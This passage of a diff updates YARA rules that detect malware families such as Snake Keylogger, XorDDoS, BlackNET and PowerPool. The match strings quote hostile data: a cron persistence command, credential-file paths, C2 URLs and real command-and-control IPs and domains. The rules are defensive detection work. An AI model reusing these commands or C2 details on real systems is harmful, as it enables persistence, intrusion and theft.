= "920074-920075" + clamav_sig = "MALWARE.Win.Trojan.Poullight" strings: - $s1 = "RevertToSelf() Error:" wide - $s2 = "NeverGonnaGiveYou" wide - $s3 = "\\Amd64\\UNIDRV.DLL" wide - $s4 = ":\\Windows\\System32\\DriverStore\\FileRepository\\" wide - $s5 = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}" wide - $s6 = "\\SharpPrintNightmare\\" ascii - $s7 = { 4e 61 6d 65 09 46 75 6c 6c 54 72 75 73 74 01 } - $s8 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\PackageInstallation\\Windows x64\\DriverPackages" wide - $s9 = "ntprint.inf_amd64" wide - $s10 = "AddPrinterDriverEx" wide - $s11 = "addPrinter" ascii - $s12 = "DRIVER_INFO_2" ascii - $s13 = "APD_COPY_" ascii + $s1 = "zipx" fullword wide + $s2 = "{0}Windows Defender.exe" fullword wide + $s3 = "pll_test" fullword wide + $s4 = "loginusers.vdf" wide + $s5 = "Stealer by Nixscare" wide + $s6 = "path_lad" fullword ascii + $s7 = "<CheckVM>" ascii + $s8 = "Poullight.Properties" ascii + $s9 = "</ulfile>" fullword wide + $s10 = "{0}processlist.txt" fullword wide + $s11 = "{0}Browsers\\Passwords.txt" fullword wide condition: uint16( 0 ) == 0x5a4d and 7 of them } -rule DITEKSHEN_INDICATOR_TOOL_REC_Adfind : FILE +rule DITEKSHEN_MALWARE_Win_Snakekeylogger : FILE { meta: - description = "Detect ADFind" + description = "Detects Snake Keylogger" author = "ditekSHen" - id = "2f0d02a1-7488-5645-aa08-1eadee2862e8" + id = "e44bf33c-916d-5dc3-ba2a-89e13f1511a2" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L963-L974" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2178-L2207" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "41fb9f72032f76adc6f1fccd25a1364f153eb2430063e9d582f3dcd9fc9ac84a" + logic_hash = "7d787026b290c3c6a43c7de83233f22980733e7401260ff2f763e6f1b534ecba" score = 75 - quality = 75 + quality = 67 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.SnakeKeylogger" strings: - $s1 = "\\AdFind\\AdFind\\AdFind.h" ascii - $s2 = "\\AdFind\\AdFind\\AdFind.cpp" ascii - $s3 = "\\AdFind\\Release\\AdFind.pdb" ascii - $s4 = "joeware_default_adfind.cf" ascii + $id1 = "SNAKE-KEYLOGGER" fullword ascii + $id2 = "----------------S--------N--------A--------K--------E----------------" ascii + $s1 = "_KPPlogS" fullword ascii + $s2 = "_Scrlogtimerrr" fullword ascii + $s3 = "_Clpreptimerr" fullword ascii + $s4 = "_clprEPs" fullword ascii + $s5 = "_kLLTIm" fullword ascii + $s6 = "_TPSSends" fullword ascii + $s7 = "_ProHfutimer" fullword ascii + $s8 = "GrabbedClp" fullword ascii + $s9 = "StartKeylogger" fullword ascii + $x1 = "$%SMTPDV$" wide + $x2 = "$#TheHashHere%&" wide + $x3 = "%FTPDV$" wide + $x4 = "$%TelegramDv$" wide + $x5 = "KeyLoggerEventArgs" ascii + $m1 = "| Snake Keylogger" ascii wide + $m2 = /(Screenshot|Clipboard|keystroke) Logs ID/ ascii wide + $m3 = "SnakePW" ascii wide + $m4 = "\\SnakeKeylogger\\" ascii wide condition: - uint16( 0 ) == 0x5a4d and 2 of them + ( uint16( 0 ) == 0x5a4d and ( all of ( $id* ) or 6 of ( $s* ) or ( 1 of ( $id* ) and 3 of ( $s* ) ) or 4 of ( $x* ) ) ) or ( 2 of ( $m* ) ) } -rule DITEKSHEN_INDICATOR_TOOL_CNC_Chisel : FILE +rule DITEKSHEN_MALWARE_Linux_Xorddos : FILE { meta: - description = "Detect binaries using Chisel" + description = "Detects XORDDoS" author = "ditekSHen" - id = "d126f2c8-655f-564f-ae46-f6bd6385dcac" + id = "0ca581c3-bce2-5b4f-8146-9aeb49b88813" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L976-L990" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2209-L2220" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "08c7b2c4725431c1bf85ae8068f4250c98e58890e3b4c97aa9e419e4f487cada" + logic_hash = "192378d903316c1d80b064e78feb6ed9d2ffc9e6c7dc0c8df223d83d17e4e8d9" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "chisel-v" ascii - $s2 = "sendchisel-v" ascii - $s3 = "<-chiselclosedcookiedomainefenceempty" ascii - $ws1 = "Sec-WebSocket-Key" ascii - $ws2 = "Sec-WebSocket-Protocol" ascii - $ws3 = "Sec-Websocket-Version" ascii - $ws4 = "Sec-Websocket-Extensions" ascii + $s1 = "for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done" fullword ascii + $s2 = "cp /lib/libudev.so /lib/libudev.so.6" fullword ascii + $s3 = "sed -i '/\\/etc\\/cron.hourly\\/gcc.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab" fullword ascii + $s4 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)" fullword ascii condition: - uint16( 0 ) == 0x5a4d and ( 1 of ( $s* ) and 3 of ( $ws* ) ) + uint32( 0 ) == 0x464c457f and 3 of them } -rule DITEKSHEN_INDICATOR_TOOL_ANT_Sharpedrchecker : FILE +rule DITEKSHEN_MALWARE_Win_Blacknet : FILE { meta: - description = "Detect SharpEDRChecke, C# Implementation of Invoke-EDRChecker" + description = "Detects BlackNET RAT" author = "ditekSHen" - id = "c0b41787-b8b4-5aa7-b1f0-0a89dbebe45e" + id = "c1ece46a-3cd9-54aa-a105-1c5b19357a7e" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L992-L1023" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2222-L2250" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "77a26ff5298dddebc669d9b6c39905a48a86884cf98adebdf935b94c62d36ddc" + logic_hash = "64e00325a5a6a595067c6133800e73d943f45e2783475c24ed4a9bd9937fe0d6" score = 75 - quality = 23 + quality = 75 tags = "FILE" + snort2_sid = "920079-920082" + snort3_sid = "920079-920082" + clamav_sig = "MALWARE.Win.Trojan.BlackNET" strings: - $pdb1 = "\\SharpEDRChecker.pdb" fullword ascii - $x1 = "EDRData" fullword ascii - $x2 = "bytesNeeded" fullword ascii - $x3 = /\] Checking (Directories|drivers|processes|modules|Registry|Services) \[/ wide - $s1 = "CheckService" fullword ascii - $s2 = "CheckModule" fullword ascii - $s3 = "PrivCheck" fullword ascii - $s4 = "ServiceChecker" fullword ascii - $s5 = "PrivilegeChecker" fullword ascii - $s6 = "FileChecker" fullword ascii - $s7 = "DriverChecker" fullword ascii - $s8 = "ProcessChecker" fullword ascii - $s9 = "DirectoryChecker" fullword ascii - $s10 = "RegistryChecker" fullword ascii - $s11 = "CheckDriver" fullword ascii - $s12 = "CheckServices" fullword ascii - $s13 = "CheckDirectories" fullword ascii - $s14 = "CheckCurrentProcessModules" fullword ascii - $s15 = "CheckProcesses" fullword ascii - $s16 = "CheckDrivers" fullword ascii - $s17 = "CheckProcess" fullword ascii - $s18 = "CheckSubDirectory" fullword ascii - $s19 = "CheckDirectory" fullword ascii - $s20 = "CheckRegistry" fullword ascii + $s1 = "SbieCtrl" fullword wide + $s2 = "SpyTheSpy" fullword wide + $s3 = "\\BlackNET.dat" fullword wide + $s4 = "StartDDOS" fullword wide + $s5 = "UDPAttack" fullword wide + $s6 = "ARMEAttack" fullword wide + $s7 = "TCPAttack" fullword wide + $s8 = "HTTPGetAttack" fullword wide + $s9 = "RetriveLogs" fullword wide + $s10 = "StealPassword" fullword wide + $s11 = "/create /f /sc ONSTART /RL HIGHEST /tn \"'" fullword wide + $b1 = "DeleteScript|BN|" fullword wide + $b2 = "|BN|Online" fullword wide + $b3 = "NewLog|BN|" fullword wide + $cnc1 = "/getCommand.php?id=" fullword wide + $cnc2 = "/upload.php?id=" fullword wide + $cnc3 = "connection.php?data=" fullword wide + $cnc4 = "/receive.php?command=" fullword wide condition: - uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or 10 of ( $s* ) or ( 1 of ( $pdb* ) and ( 1 of ( $x* ) or 2 of ( $s* ) ) ) or ( #x3 > 4 and 2 of them ) ) + uint16( 0 ) == 0x5a4d and ( 9 of ( $s* ) or all of ( $cnc* ) or all of ( $b* ) or 12 of them ) } -rule DITEKSHEN_INDICATOR_TOOL_ANT_Invizzzible : FILE +rule DITEKSHEN_MALWARE_Win_Stormkitty : FILE { meta: - description = "Detect InviZzzible" + description = "Detects StormKitty infostealer" author = "ditekSHen" - id = "23533d1c-e0d8-51c8-ac18-60c845bff197" + id = "a061a1c0-9ed5-5048-85df-4d7ed6995e92" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1025-L1059" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2252-L2269" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "bd84015f9fdc160a6ed9010c5a5905fcf13987b1fdec6fdd9535e315dc3617e8" + logic_hash = "5d139aad6932f177cd14e0356f822ad68ddc659ea4fabd2fd2fbcbc8bad58888" score = 75 - quality = 48 + quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.StormKitty" strings: - $s1 = "\\\\.\\pipe\\task_sched_se" fullword wide - $s2 = "\\\\\\.\\NPF_NdisWanIp" fullword wide - $s3 = /--action --(dtt|mra|user-input|cfg|dan|evt|pid|exc|wmi|tsh)/ fullword wide - $s4 = "cuckoo_%lu.ini" fullword wide - $s5 = "sandbox evasion" wide nocase - $s6 = "UnbalancedStack" fullword ascii - $s7 = "process_with_long_name" fullword ascii - $s8 = "DelaysAccumulation" fullword ascii - $s9 = "PidReuse" fullword ascii - $s10 = "DeadAnalyzer" fullword ascii - $s11 = "SleepDummyPatch" fullword ascii - $s12 = "AudioDeviceAbsence" fullword ascii - $s14 = "\\\\.\\PhysicalDrive%u" fullword ascii - $s15 = "\"countermeasures\":" ascii - $s16 = "_%.02u%.02u%.02u_%.02u%.02u%.02u.html" ascii - $f1 = ".?AVHyperV@SandboxEvasion@@" ascii - $f2 = ".?AVJoebox@SandboxEvasion@@" ascii - $f3 = ".?AVKVM@SandboxEvasion@@" ascii - $f4 = ".?AVMisc@SandboxEvasion@@" ascii - $f5 = ".?AVParallels@SandboxEvasion@@" ascii - $f6 = ".?AVQEMU@SandboxEvasion@@" ascii - $f7 = ".?AVSandboxie@SandboxEvasion@@" ascii - $f8 = ".?AVVBOX@SandboxEvasion@@" ascii - $f9 = ".?AVVirtualPC@SandboxEvasion@@" ascii - $f10 = ".?AVVMWare@SandboxEvasion@@" ascii - $f11 = ".?AVWine@SandboxEvasion@@" ascii - $f12 = ".?AVXen@SandboxEvasion@@" ascii + $x1 = "\\ARTIKA\\Videos\\Chrome-Password-Recovery" ascii + $x2 = "https://github.com/LimerBoy/StormKitty" fullword ascii + $x3 = "StormKitty" fullword ascii + $s1 = "GetBSSID" fullword ascii + $s2 = "GetAntivirus" fullword ascii + $s3 = "C:\\Users\\Public\\credentials.txt" fullword wide + $s4 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" fullword wide + $s5 = "BCrypt.BCryptGetProperty() (get size) failed with status code:{0}" fullword wide + $s6 = "\"encrypted_key\":\"(.*?)\"" fullword wide condition: - uint16( 0 ) == 0x5a4d and ( 6 of ( $s* ) or 4 of ( $f* ) or ( 2 of ( $f* ) and 2 of ( $s* ) ) ) + uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or 5 of ( $s* ) or ( 3 of ( $s* ) and 1 of ( $x* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_EXFIL_Sharpbox : FILE + +rule DITEKSHEN_MALWARE_Win_Bulz01 : FILE { meta: - description = "Detect SharpBox, C# tool for compressing, encrypting, and exfiltrating data to Dropbox using the Dropbox API" + description = "Detects trojan loader" author = "ditekSHen" - id = "cd834fe2-dc77-509d-a8f9-d631f395bcd8" + id = "4ac4125b-70f5-5cda-ae45-fd5713e25a6e" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1061-L1080" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2271-L2281" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "b03ab3786b2a2e6774d94be4edf700a7154d8d400c7b2b31c73c68ce9fe0c08a" + logic_hash = "29884dda4936016660f5d1e33ffcf97a20c7d3116483a5895a5e2a1dd4ac9e9f" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "UploadData" fullword ascii - $s2 = "isAttached" fullword ascii - $s3 = "DecryptFile" fullword ascii - $s4 = "set_dbxPath" fullword ascii - $s5 = "set_dbxToken" fullword ascii - $s6 = "set_decrypt" fullword ascii - $s7 = "GeneratePass" fullword ascii - $s8 = "FileUploadToDropbox" fullword ascii - $s9 = "\\SharpBox.pdb" ascii - $s10 = "https://content.dropboxapi.com/2/files/upload" fullword wide - $s12 = "Dropbox-API-Arg: {\"path\":" wide - $s13 = "X509Certificate [{0}] Policy Error: '{1}'" fullword wide + $s1 = "DisableTrivet.dll" fullword ascii condition: - uint16( 0 ) == 0x5a4d and 7 of them + uint16( 0 ) == 0x5a4d and pe.is_dll ( ) and all of ( $s* ) and ( pe.exports ( "Ordinal" ) or pe.exports ( "Chechako" ) or pe.exports ( "Originator" ) or pe.exports ( "Repressions" ) ) } -rule DITEKSHEN_INDICATOR_TOOL_EXP_Serioussam01 : CVE_2021_36934 FILE +rule DITEKSHEN_MALWARE_Win_Revcoderat : FILE { meta: - description = "Detect tool variants potentially exploiting SeriousSAM / HiveNightmare CVE-2021-36934" + description = "Detects RevCode/WebMonitor RAT" author = "ditekSHen" - id = "e8f24ae4-48fb-5ee7-9e8e-0d144bb3b046" + id = "4acf6742-7f5c-5126-89cc-b39b1acd922e" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1082-L1104" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2283-L2332" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "8b9de87dc073e6ba3eb36dd57b31e9749849c2e277f2bcd1c98ffc2d02861e10" + logic_hash = "e5bf1ce79b7955f597df1a9e361a3be892de55cd3db767278d4ccc02ace9e9f5" score = 75 - quality = 25 - tags = "CVE-2021-36934, FILE" + quality = 48 + tags = "FILE" + snort2_sid = "920070" + snort3_sid = "920070" + clamav_sig = "MALWARE.Win.Trojan.RevCodeRAT" strings: - $s1 = "VolumeShadowCopy" fullword wide - $s2 = "\\\\?\\GLOBALROOT\\Device\\" fullword wide - $s3 = "{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}" fullword wide - $s4 = "ASPNET_WP_PASSWORD" fullword wide - $s5 = "<ParseSam>b__" ascii - $s6 = "<DumpSecret" ascii - $s7 = "<ParseSecret" ascii - $s8 = "LsaSecretBlob" fullword ascii - $s9 = "systemHive" fullword ascii - $s10 = "ImportHiveDump" fullword ascii - $s11 = "FindShadowVolumes" fullword ascii - $s12 = "GetBootKey" fullword ascii - $r1 = "[*] SAM" wide - $r2 = "[*] SYSTEM" wide - $r3 = "[*] SECURITY" wide + $x1 = "rev-novm.dat" fullword wide + $x2 = "WebMonitor-" fullword wide + $x3 = "WebMonitor Client" fullword wide + $x4 = "Launch WebMonitor" fullword wide + $s1 = "KEYLOG_DEL" fullword ascii + $s2 = "KEYLOG_STREAM_START" fullword ascii + $s3 = "send_keylog_del" fullword ascii + $s4 = "send_keylog_stream_" ascii + $s5 = "send_shell_exec" fullword ascii + $s6 = "send_file_download_exec" fullword ascii + $s7 = "send_pdg_exec" fullword ascii + $s8 = "send_app_cmd_upd" fullword ascii + $s9 = "send_webcamstream_start" fullword ascii + $s10 = "send_screenstream_start" fullword ascii + $s11 = "send_clipboard_get" fullword ascii + $s12 = "send_pdg_rev_proxy_stop" fullword ascii + $s13 = "send_shell_stop" fullword ascii + $s14 = "send_wnd_cmd" fullword ascii + $s15 = "SCREEN_STREAM_LEGACY(): Started..." fullword ascii + $s16 = "SYSTEM_INFORMATION(): Failed! (Error:" fullword ascii + $s17 = "TARGET_HOST_UPDATE(): Sync successful!" fullword ascii + $s18 = "PLUGIN_PROCESS_REVERSE_PROXY: Plugin" ascii + $s19 = "PLUGIN_PROCESS: Plugin" ascii + $s20 = "PLUGIN_EXEC: Plugin" ascii + $s21 = "PLUGIN_PROCESS_SCREEN_STREAM: Plugin" ascii + $cnc1 = "?task_id=" fullword ascii + $cnc2 = "&operation=" fullword ascii + $cnc3 = "&filesize=" fullword ascii + $cnc4 = "pos=" fullword ascii + $cnc5 = "&mode=" fullword ascii + $cnc6 = "&cmp=1" fullword ascii + $cnc7 = "&cmp=0" fullword ascii + $cnc8 = "&enc=1" fullword ascii + $cnc9 = "&enc=0" fullword ascii + $cnc10 = "&user=" fullword ascii + $cnc11 = "&uid=" fullword ascii + $cnc12 = "&key=" fullword ascii condition: - uint16( 0 ) == 0x5a4d and ( 6 of ( $s* ) or ( all of ( $r* ) and 3 of ( $s* ) ) ) + uint16( 0 ) == 0x5a4d and ( 3 of ( $x* ) or all of ( $cnc* ) or 8 of ( $s* ) or ( 1 of ( $x* ) and 6 of ( $s* ) ) or ( 6 of ( $cnc* ) and 6 of ( $s* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_EXP_Petitpotam01 : FILE +rule DITEKSHEN_MALWARE_Win_Powerpool_STG1 : FILE { meta: - description = "Detect tool potentially exploiting/attempting PetitPotam" + description = "Detects first stage PowerPool backdoor" author = "ditekSHen" - id = "12d7b533-f477-5fbb-8b1f-1a93c9a63500" + id = "8531c22d-8d71-5794-b9c8-0a4cd81bb2b0" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1127-L1143" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2334-L2361" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "37a9477b41560904e8874ecaf93eb2667b9450b5d42665677abc1442538f9000" + logic_hash = "9ab00d6e3007743a8bb30fbcdb435ac49101b52face55549ae454c64345caff9" score = 75 - quality = 25 + quality = 75 tags = "FILE" + snort2_sid = "920088" + snort3_sid = "920086" + clamav_sig = "MALWARE.Win.Trojan.PowerPool-STG-1" strings: - $s1 = "\\pipe\\lsarpc" fullword wide - $s2 = "\\%s" fullword wide - $s3 = "ncacn_np" fullword wide - $s4 = /EfsRpc(OpenFileRaw|EncryptFileSrv|DecryptFileSrv|QueryUsersOnFile|QueryRecoveryAgents|RemoveUsersFromFile|AddUsersToFile)/ wide - $r1 = "RpcBindingFromStringBindingW" fullword ascii - $r2 = "RpcStringBindingComposeW" fullword ascii - $r3 = "RpcStringFreeW" fullword ascii - $r4 = "RPCRT4.dll" fullword ascii - $r5 = "NdrClientCall2" fullword ascii + $s1 = "cmd /c powershell.exe $PSVersionTable.PSVersion > \"%s\"" fullword wide + $s2 = "cmd /c powershell.exe \"%s\" > \"%s\"" fullword wide + $s3 = "rar.exe a -r %s.rar -ta%04d%02d%02d%02d%02d%02d -tb%04d%02d%02d%02d%02d%02d" fullword wide + $s4 = "MyDemonMutex%d" fullword wide + $s5 = "MyScreen.jpg" fullword wide + $s6 = "proxy.log" fullword wide + $s7 = "myjt.exe" fullword wide + $s8 = "/?id=%s&info=%s" fullword wide + $s9 = "auto.cfg" fullword ascii + $s10 = "Mozilla/5.0 (Windows NT 6.1; WOW64)" fullword wide + $s11 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)" fullword wide + $s12 = "CMD COMMAND EXCUTE ERROR!" fullword ascii + $c1 = "run.afishaonline.eu" fullword wide + $c2 = "home.Sports-Collectors.com" fullword wide + $c3 = "about.Sports-Collectors.com" fullword + $c4 = "179.43.158.15" fullword wide + $c5 = "185.227.82.35" fullword wide condition: - uint16( 0 ) == 0x5a4d and ( all of ( $s* ) and 4 of ( $r* ) ) + uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or ( 1 of ( $c* ) and 5 of ( $s* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PET_Sharpstrike : FILE +rule DITEKSHEN_MALWARE_Win_Powerpool_STG2 : FILE { meta: - description = "Detect SharpStrike post-exploitation tool written in C# that uses either CIM or WMI to query remote systems" + description = "Detects second stage PowerPool backdoor" author = "ditekSHen" - id = "00b36fce-3d84-51cf-a800-042d7484d78c" + id = "1a059900-3292-5419-a143-caea3e710191" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1145-L1160" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2363-L2395" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "c479d85878d9f9659fc157f0c6706703af3748a8740df6a5090cddc720dd7661" + logic_hash = "b80712bab281dbde816e2eda6ab1b4a9e21be26578fb755a1e1e1635675aa911" score = 75 - quality = 75 + quality = 73 tags = "FILE" + snort2_sid = "920089-920091" + snort3_sid = "920087-920089" + clamav_sig = "MALWARE.Win.Trojan.PowerPool-STG-2" strings: - $x1 = "SharpStrike v" wide - $x2 = "[*] Agent is busy" wide - $x3 = "SharpStrike_Fody" fullword ascii - $s1 = "ServiceLayer.CIM" fullword ascii - $s2 = "Models.CIM" fullword ascii - $s3 = "<HandleCommand>b__" ascii - $s4 = "MemoryStream" fullword ascii - $s5 = "GetCommands" fullword ascii + $s1 = "write info fail!!! GetLastError-->%u" fullword ascii + $s2 = "LookupAccountSid Error %u" fullword ascii + $s3 = "Mozilla/4.0 (compatible; )" fullword ascii + $s4 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)" fullword ascii + $s5 = "Content-Disposition: form-data; name=\"%s\"" fullword ascii + $s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii + $s7 = "Content-Type: multipart/form-data; boundary=--MULTI-PARTS-FORM-DATA-BOUNDARY" fullword ascii + $s8 = "in Json::Value::find" fullword ascii + $s9 = "in Json::Value::resolveReference" fullword ascii + $s10 = "in Json::Value::duplicateAndPrefixStringValue" fullword ascii + $s11 = ".?AVLogicError@Json@@" fullword ascii + $s12 = ".?AVRuntimeError@Json@@" fullword ascii + $s13 = "http:\\\\82.221.101.157:80" ascii + $s14 = "http://172.223.112.130:80" ascii + $s15 = "http://172.223.112.130:443" ascii + $s16 = "http://info.newsrental.net:80" ascii + $s17 = "%s|%I64d" ascii + $s18 = "open internet failed..." ascii + $s19 = "connect failed..." ascii + $s20 = "handle not opened..." ascii + $s21 = "corrupted regex pattern" fullword ascii + $s22 = "add cookie failed..." ascii condition: - uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or all of ( $s* ) ) + uint16( 0 ) == 0x5a4d and 14 of them } -rule DITEKSHEN_INDICATOR_TOOL_LTM_Ladon : FILE + +rule DITEKSHEN_MALWARE_Win_Egregor : FILE { meta: - description = "Detect Ladon tool that assists in lateral movement across a network" + description = "Detects Egregor ransomware variants" author = "ditekSHen" - id = "227e63ce-8383-5bb1-870e-6c4e767b402f" + id = "2e24d4ec-39c2-5148-80a1-04f96bc8b477" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1162-L1178" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2397-L2434" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "f31276bcbcae672966cfddc9af4f5b507d7244360b421de7fe1e811fb954fb7d" + logic_hash = "d39a7bf89a7574f7dfe56db78c8cdbbee97782f829805d4ee87fd9f1635154cd" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Ransomware.Egregor" strings: - $d1 = "Ladon.VncSharp.dll" fullword ascii - $d2 = "Ladon.Renci.SshNet.dll" fullword ascii - $s1 = "Ladon." ascii - $s2 = "nowPos" fullword ascii - $s3 = "Scan" fullword ascii - $s4 = "QLZ_STREAMING_BUFFER" fullword ascii - $s5 = "sizeDecompressed" fullword ascii - $s6 = "UpdateByte" fullword ascii - $s7 = "kNumBitPriceShiftBits" fullword ascii + $s1 = "C:\\Logmein\\{888-8888-9999}\\Logmein.log" fullword wide + $p1 = "--deinstall" fullword wide + $p2 = "--del" fullword wide + $p3 = "--exit" fullword wide + $p4 = "--kill" fullword wide + $p5 = "--loud" fullword wide + $p6 = "--nooperation" fullword wide + $p7 = "--nop" fullword wide + $p8 = "--skip" fullword wide + $p9 = "--useless" fullword wide + $p10 = "--yourmommy" fullword wide + $p11 = "-passegregor" ascii wide + $p12 = "-peguard" ascii wide + $p13 = "--nomimikatz" ascii wide + $p14 = "--multiproc" ascii wide + $p15 = "--killrdp" ascii wide + $p16 = "--nonet" ascii wide + $p17 = "--norename" ascii wide + $p18 = "--greetings" ascii wide condition: - uint16( 0 ) == 0x5a4d and ( all of ( $d* ) or all of ( $s* ) or ( 1 of ( $d* ) and 5 of ( $s* ) ) ) + ( uint16( 0 ) == 0x5a4d and pe.is_dll ( ) and ( ( all of ( $s* ) and 1 of ( $p* ) ) or ( 2 of them and filesize < 1000KB and for any i in ( 0 .. pe.number_of_sections ) : ( ( pe.sections [ i ] . name == ".00cfg" ) ) ) ) ) or 8 of ( $p* ) } -rule DITEKSHEN_INDICATOR_TOOL_LTM_Ladonexp : FILE + +rule DITEKSHEN_MALWARE_Win_Redlinedropperexe : FILE { meta: - description = "Detect Ladon tool that assists in lateral movement across a network" + description = "Detects executables dropping RedLine infostealer" author = "ditekSHen" - id = "bd1e7ef5-ae68-5e0d-8261-0eb765453bae" + id = "364ba540-60a5-5e1b-bb21-505a442eabb6" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1180-L1191" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L2461-L2484" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "22f6a717b8464bddd850bb5ea8b416e99bceb91fe917f188be178f2fff620730" + logic_hash = "cd1fb4a1d0883221dbdcc519db7f54b0f7285e8a19201dbc586c2520e8086bc2" score = 75 quality = 75 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.RedLineDropper-EXE" strings: - $s1 = "txt_cscandll.Text" fullword wide - $s2 = "CscanWebExpBuild.frmMain.resources" fullword ascii - $s3 = "= \"$HttpXforwardedFor$\";" ascii - $s4 = "namespace netscan" fullword ascii + $s1 = "Wizutezinod togeto0Rowadufevomuki futenujilazem jic lefogatenezinor" fullword wide + $s2 = "6Tatafamobevofaj bizafoju peyovavacoco lizine kezakajuj" fullword wide + $s3 = "Lawuherusozeru kucu zam0Zorizeyuk lepaposupu gala kinarusot ruvasaxehuwo" fullword wide + $s4 = "ClearEventLogW" fullword ascii + $s5 = "ProductionVersion" fullword wide + 